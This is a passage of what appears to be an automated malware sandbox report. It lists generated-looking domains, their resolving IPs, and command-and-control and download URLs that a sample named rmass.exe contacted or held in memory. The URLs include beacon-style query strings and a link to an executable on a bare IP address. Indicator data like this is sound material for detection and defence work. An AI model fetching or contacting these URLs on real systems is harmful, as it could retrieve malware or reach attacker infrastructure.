geqgu.vg	88.198.29.97	true	false	unknown
wjqwkdcn.vg	88.198.29.97	true	false	unknown
usawfgu.ws	64.70.19.203	true	false	unknown
meywp.ws	64.70.19.203	true	false	unknown
cqgkoeo.vg	88.198.29.97	true	false	unknown
tguceicakxq.vg	88.198.29.97	true	false	unknown
qaqqiwicary.ws	64.70.19.203	true	false	unknown
qendemo.vg	88.198.29.97	true	false	unknown
fenzso.vg	88.198.29.97	true	false	unknown
iywejakceat.ws	64.70.19.203	true	false	unknown
iilhzyzz.ws	64.70.19.203	true	false	unknown
iafbgsajgk.ws	64.70.19.203	true	false	unknown
keqqkjggekku.vg	88.198.29.97	true	false	unknown
ymoxwne.ws	64.70.19.203	true	false	unknown
aaexegrojwrdp.vg	88.198.29.97	true	false	unknown
aaaeneuzmgm.ws	64.70.19.203	true	false	unknown
qvdkkmkcjaksq.ws	64.70.19.203	true	false	unknown
uyywyxggiyebm.ws	64.70.19.203	true	false	unknown
lcgxgu.vg	88.198.29.97	true	false	unknown
qmikaniayyn.ws	64.70.19.203	true	false	unknown
defbu.vg	88.198.29.97	true	false	unknown
yumowdaknpsouf.ws	64.70.19.203	true	false	unknown
ovrmtcuedgae.ws	64.70.19.203	true	false	unknown
jjmhqlazjlqyg.vg	88.198.29.97	true	false	unknown
egcgjybmgq.vg	88.198.29.97	true	false	unknown
muiocbsvwmfkw.vg	88.198.29.97	true	false	unknown
poybdufoqpr.vg	88.198.29.97	true	false	unknown
cmspzpcyime.ws	64.70.19.203	true	false	unknown
woqxhdnsa.vg	88.198.29.97	true	false	unknown
hcwuaqmw.vg	88.198.29.97	true	false	unknown
gynpqeeyvwhe.ws	64.70.19.203	true	false	unknown
oiugelclnqi.ws	64.70.19.203	true	false	unknown
eqlitcukw.ws	64.70.19.203	true	false	unknown
zfiwopauawbug.ws	64.70.19.203	true	false	unknown
xoomw.ws	64.70.19.203	true	false	unknown
ptgmg.vg	88.198.29.97	true	false	unknown
eteeu.ws	64.70.19.203	true	false	unknown
gommacaqfdcg.ws	64.70.19.203	true	false	unknown
psukkeomkuwov.vg	88.198.29.97	true	false	unknown
knsnouoag.ws	64.70.19.203	true	false	unknown
vnqjxaxqkbbus.ws	64.70.19.203	true	false	unknown
uyoef.vg	88.198.29.97	true	false	unknown
iskhcigwkvdpoz.ws	64.70.19.203	true	false	unknown
ncwjgaqmjup.vg	88.198.29.97	true	false	unknown
aukbxwufnkwsdi.ws	64.70.19.203	true	false	unknown
mvrooosmgqanq.ws	64.70.19.203	true	false	unknown
smecko.ws	64.70.19.203	true	false	unknown
veylcquelsxie.vg	88.198.29.97	true	false	unknown
kunlovnoc.vg	88.198.29.97	true	false	unknown
glkqi.vg	88.198.29.97	true	false	unknown
ixecmgaww.ws	64.70.19.203	true	false	unknown
zaeuc.ws	64.70.19.203	true	false	unknown
mqhsureufjf.vg	88.198.29.97	true	false	unknown
akauuewwtwv.vg	88.198.29.97	true	false	unknown
ogabeoxiw.vg	88.198.29.97	true	false	unknown
hxyicbwo.vg	88.198.29.97	true	false	unknown
fwwclcmvsyatw.vg	88.198.29.97	true	false	unknown
gkuyweyisuo.vg	88.198.29.97	true	false	unknown
mjbwd.ws	64.70.19.203	true	false	unknown
kybsrfuokmd.vg	88.198.29.97	true	false	unknown
nmocagwiydqcim.vg	88.198.29.97	true	false	unknown
guyqqpguaei.vg	88.198.29.97	true	false	unknown
qmyuetbcy.vg	88.198.29.97	true	false	unknown
osotuabnnisil.vg	88.198.29.97	true	false	unknown
iyskgbkca.ws	64.70.19.203	true	false	unknown
gieea.vg	88.198.29.97	true	false	unknown
mzpgcqytymcukd.ws	64.70.19.203	true	false	unknown
mwcscawmtgknk.ws	64.70.19.203	true	false	unknown
oeggke.ws	64.70.19.203	true	false	unknown
kscqiwevyqu.ws	64.70.19.203	true	false	unknown
ebichiqob.ws	64.70.19.203	true	false	unknown
irsgwyech.vg	88.198.29.97	true	false	unknown
fswgqwyze.vg	88.198.29.97	true	false	unknown
hcwsgokfm.ws	64.70.19.203	true	false	unknown
dgtyfiwrs.vg	88.198.29.97	true	false	unknown
qncmreciv.vg	88.198.29.97	true	false	unknown
sgojwgigbmm.ws	64.70.19.203	true	false	unknown
njawkarc.ws	64.70.19.203	true	false	unknown
kayxoakdacenu.ws	64.70.19.203	true	false	unknown
swwayobyywm.ws	64.70.19.203	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://utbidet-ugeas.biz/d/N?022629C2952629C2950829EE952629EA2D2205E0512729023D242DF4BB1407FBA71619EC95	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02B2B5F1E0B2B5F1E09CB5DDE0B2B5D958B699D324B3B53148B0B1C7CE809BC8D28285DFE0	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02F096C79EF096C79EDE96EB9EF096EF26F4BAE55AF1960736F292F1B0C2B8FEACC0A6E99E	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02D31B4852D31B4852FD1B6452D31B60EAD7376A96D21B88FAD11F7E7CE1357160E32B6652	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02F042D0D3F042D0D3DE42FCD3F042F86BF46EF217F142107BF246E6FDC26CE9E1C072FED3	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?022C0437A62C0437A602041BA62C041F1E282815622D04F70E2E0001881E2A0E941C3419A6	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02F8D0171DF8D0171DD6D03B1DF8D03FA5FCFC35D9F9D0D7B5FAD42133CAFE2E2FC8E0391D	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02DF6C2A9FDF6C2A9FF16C069FDF6C0227DB40085BDE6CEA37DD681CB1ED4213ADEF5C049F	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000004.00000003.3498166967.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
http://mgsufsmmbq.museum/ts	rmass.exe, 00000001.00000003.3545246947.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://knqeasqwo.cd/	rmass.exe, 00000001.00000003.4043327522.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://argunoos.biz/d/N?02226EC14D226EC14D0C6EED4D226EE9F52642E389236E01E5206AF7631040F87F125EEF4Dtf	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://argunoos.biz/d/N?028E8843D48E8843D4A0886FD48E886B6C8AA461108F88837C8C8C75FABCA67AE6BEB86DD4	rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?0218878814188788143687A4141887A0AC1CABAAD0198748BC1A83BE3A2AA9B12628B7A614Xs	rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000004.00000000.1712490988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://wxgprhgqiei.museum/3	rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?028549D3D68549D3D6AB49FFD68549FB6E8165F1128449137E874DE5F8B767EAE4B579F	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3593296009.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3588334030.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3544769439.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://coaccvbciv.st/	rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mtgos.pw/	rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://oqqhbcoxcyqsw.cd/ed	rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0265A4440B65A4440B4BA4680B65A46CB3618866CF64A484A367A07225578A7D3955946	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?023F7B34FB3F7B34FB117B18FB3F7B1C433B57163F3E7BF4533D7F02D50D550DC90F4B1AFB=	rmass.exe, 00000001.00000003.3281793255.000000000092A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3283302543.000000000092A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wgnuhce.cd/d	rmass.exe, 00000001.00000003.4044818239.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4043327522.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?022EE32F022EE32F0200E303022EE307BA2ACF0DC62FE3EFAA2CE7192C1CCD16301ED30	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://murxwyoxuauqe.museum/	rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anpurih.biz/d/N?02B6B6613EB6B6613E98B64D3EB6B64986B29A43FAB7B3	rmass.exe, 00000001.00000003.4124258838.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anpurih.biz/d/N?02B6B6613EB6B6613E98B	rmass.exe, 00000001.00000003.4111956487.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ukgyw.pw/d	rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC	NpHauDPoR8.exe, 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmp, rmass.exe, 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://ckgudj.tk/nnectionSettings	rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://argunoos.biz/d/N?025B5B1E4E5B5B1E4E755B324E5B5B36F65F773C8A5A5BDEE6595F28606975277C6B6B304EGk	rmass.exe, 00000001.00000003.3995352677.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4148111821.00000000008F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ioblqwvkm.museum/	rmass.exe, 00000001.00000003.2249004987.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xgswoeoxdde.pw/	rmass.exe, 00000001.00000003.3792173050.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://oqqhbcoxcyqsw.cd//	rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754388366.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://oqryiicdajaf.museum/	rmass.exe, 00000001.00000003.2136331697.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2143658185.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anpurih.biz/d/N?028FFAC4CF8FFAC4CFA1FAE8CF8FFAEC778BD6E60B8EFA04678DFEF2E1BDD4FDFDBFCAEACF	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02252A0556252A05560B2A2956252A2DEE21062792242AC5FE272E337817043C64151A2B56	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ikxyhewbcoyaw.nu/	rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://rxcomqytho.tk/p	rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://isfusus-omoab.biz/d/N?02B8719941B87199419671B541B871B1F9BC5DBB85B97159E9BA75AF6F8A5FA0738841B	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3503634533.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://kissyuj.cd/	rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3232200845.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okqsp.st/	rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?02593946405939464077396A4059396EF85D156484583986E85B3D706E6B177F7269096	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000004.00000003.3106867207.000000000C979000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1715695396.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3108299357.000000000C9AE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3106008412.000000000C970000.00000004.00000001.00020000.00000000.sdmp	false		high
http://argunoos.biz/d/N?0296B13B4A96B13B4AB8B1174A96B113F2929D198E97B1FBE294B50D64A49F0278A681154A-	rmass.exe, 00000001.00000003.3996711314.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998738089.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000004.00000000.1709945572.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
http://%s.biz/d/N?	NpHauDPoR8.exe, NpHauDPoR8.exe, 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://dyrlgtmsr.nu/	rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sucqgwmgtooxj.st/ed	rmass.exe, 00000001.00000003.4044818239.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wsani.cd/	rmass.exe, 00000001.00000003.3446395646.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3448925124.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3458837407.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docscsgcgis.nu/	rmass.exe, 00000001.00000003.3261570593.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3263799036.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wxgprhgqiei.museum/k	rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02D31B4852D31B4852FD1B6452D31B60EAD7376A96D21B88FAD11F7E7CE1357160E32B6	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://argunoos.biz/d/N?02248B0BF7248B0BF70A8B27F7248B234F20A72933258BCB5F268F3DD916A532C514BB25F7	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3796348950.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3802036425.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795773851.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://oussi.mp/	rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?020A92A3A50A92A3A524928FA50A928B1D0EBE81610B92630D0896958B38BC9A973AA28	rmass.exe, 00000001.00000003.3673634790.0000000000922000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mwwocic.cd/	rmass.exe, 00000001.00000003.3258788300.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?0289E7D9BA89E7D9BAA7E7F5BA89E7F1028DCBFB7E88E719128BE3EF94BBC9E088B9D7F7BA	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3106031922.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://rxcomqytho.tk/ectionSettings	rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://wxgprhgqiei.museum/c	rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aqpebuwzmsaw.mp/D_	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://caqvxcjyaj.nu/	rmass.exe, 00000001.00000003.2554346948.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gmsekkuoqcibq.mp/	rmass.exe, 00000001.00000003.3101760168.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0298CEA99B98CEA99BB6CE859B98CE81239CE28B5F99CE69339ACA9FB5AAE090A9A8FE8	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vvmamxwaowu.tk/	rmass.exe, 00000001.00000003.2684865551.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02F6C24BFAF6C24BFAD8C267FAF6C26342F2EE693EF7C28B52F4C67DD4C4EC72C8C6F26	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://oxuamhgwomyql.mp/	rmass.exe, 00000001.00000003.3317634074.00000000008BC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3314796272.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ukgyw.pw/	rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02D00325D0D00325D0FE0309D0D0030D68D42F0714D103E578D20713FEE22D1CE2E0330	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anpurih.biz/d/N?020FFE9F6D0FFE9F6D21FEB36D0FFEB7D50BD2BDA90EFE5FC50DFAA9433DD0A65F3FCEB16D	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xwfqkjefa.museum/	rmass.exe, 00000001.00000003.4001147326.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998781068.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4002838193.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4003141728.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.com_	explorer.exe, 00000004.00000000.1715695396.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4184384186.000000000C5E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3107438145.000000000C5E1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://utbidet-ugeas.biz/d/N?02DF6C2A9FDF6C2A9FF16C069FDF6C0227DB40085BDE6CEA37DD681CB1ED4213ADEF5C0	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://argunoos.biz/d/N?02ACB92F34ACB92F3482B90334ACB9078CA8950DF0ADB9EF9CAEBD191A9E9716069C890134	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3932866489.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://coeonpsesopck.mp/	rmass.exe, 00000001.00000003.3593384903.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3620698977.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
